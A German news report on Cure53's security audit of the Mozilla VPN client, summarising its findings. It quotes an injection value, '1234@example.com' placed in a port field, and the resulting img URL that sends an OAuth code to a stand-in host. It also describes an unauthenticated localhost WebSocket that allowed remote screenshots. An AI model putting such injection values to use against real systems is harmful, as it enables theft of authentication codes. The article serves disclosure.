Das Unternehmen Mozilla hat den Abschluss eines unabhängigen Audits der Client-Software für den Zugriff auf den Mozilla VPN-Dienst bekannt gegeben. Im Rahmen des Audits wurde eine Analyse der separaten Client-Anwendung durchgeführt, die mit der Qt-Bibliothek erstellt und für Linux, macOS, Windows, Android und iOS bereitgestellt wird. Der Mozilla VPN-Dienst wird von mehr als 400 Servern des schwedischen VPN-Anbieters Mullvad unterstützt, die in über 30 Ländern platziert sind. Der Zugriff auf VPN-den Dienst erfolgt über das WireGuard-Protokoll.
Das Audit wurde von Cure53 durchgeführt, die bereits Audits für die Projekte NTPsec, SecureDrop, Cryptocat, F-Droid und Dovecot durchgeführt hat. Das Audit umfasste die Überprüfung des Quellcodes und beinhaltete Tests zur Identifizierung möglicher Sicherheitsanfälligkeiten (Fragen zur Kryptographie wurden nicht behandelt). Während der Überprüfung wurden 16 Sicherheitsprobleme festgestellt, wobei 8 als Empfehlungen, 5 mit niedrigem Gefährdungsgrad, 2 mit mittlerem und eines mit hohem Gefährdungsgrad eingestuft wurden.
Dabei wurde lediglich ein Problem mit mittlerem Gefährdungsgrad als Schwachstelle eingestuft, da es als ausnutzbar galt. Dieses Problem führte zu einem Leak von Informationen über die Nutzung des VPNs im Code zur Bestimmung eines captive portals, durch die Übermittlung unverschlüsselter direkter Anfragen über HTTP, die außerhalb des VPN-Tunnels gesendet wurden und die ursprüngliche IP-Adresse des Nutzers offenlegten, falls ein Angreifer den Transitverkehr kontrollieren konnte. Das Problem wird behoben, indem der Modus zur Bestimmung des captive portals in den Einstellungen deaktiviert wird.
Das zweite Problem mittlerer Gefährdung besteht darin, dass fehlende ordnungsgemäße Bereinigung nicht-numerischer Werte in der Portnummer es ermöglicht, OAuth-Authentifizierungsparameter durch das Ersetzen der Portnummer mit einer Zeichenkette wie „1234@example.com“ zu exponieren, was zur Installation eines Tags führt <img src="»http://127.0.0.1:1234@example.com/?code=…»" alt="»»">, das auf example.com anstatt auf 127.0.0.1 verweist.
Ein drittes als gefährlich eingestuftes Problem erlaubt es jeder lokalen Anwendung, ohne Authentifizierung auf den VPN-Client über WebSocket zuzugreifen, der an localhost gebunden ist. Als Beispiel wurde gezeigt, wie bei aktivem VPN-Client jede Website die Erstellung und den Versand eines Screenshots über die Auslösung des Ereignisses screen_capture organisieren konnte. Das Problem wurde nicht als Schwachstelle klassifiziert, da WebSocket nur in internen Testversionen verwendet wurde und die Nutzung dieses Kommunikationskanals für zukünftige Interaktionen mit der Browsererweiterung geplant war.
Quelle: opennet.ru
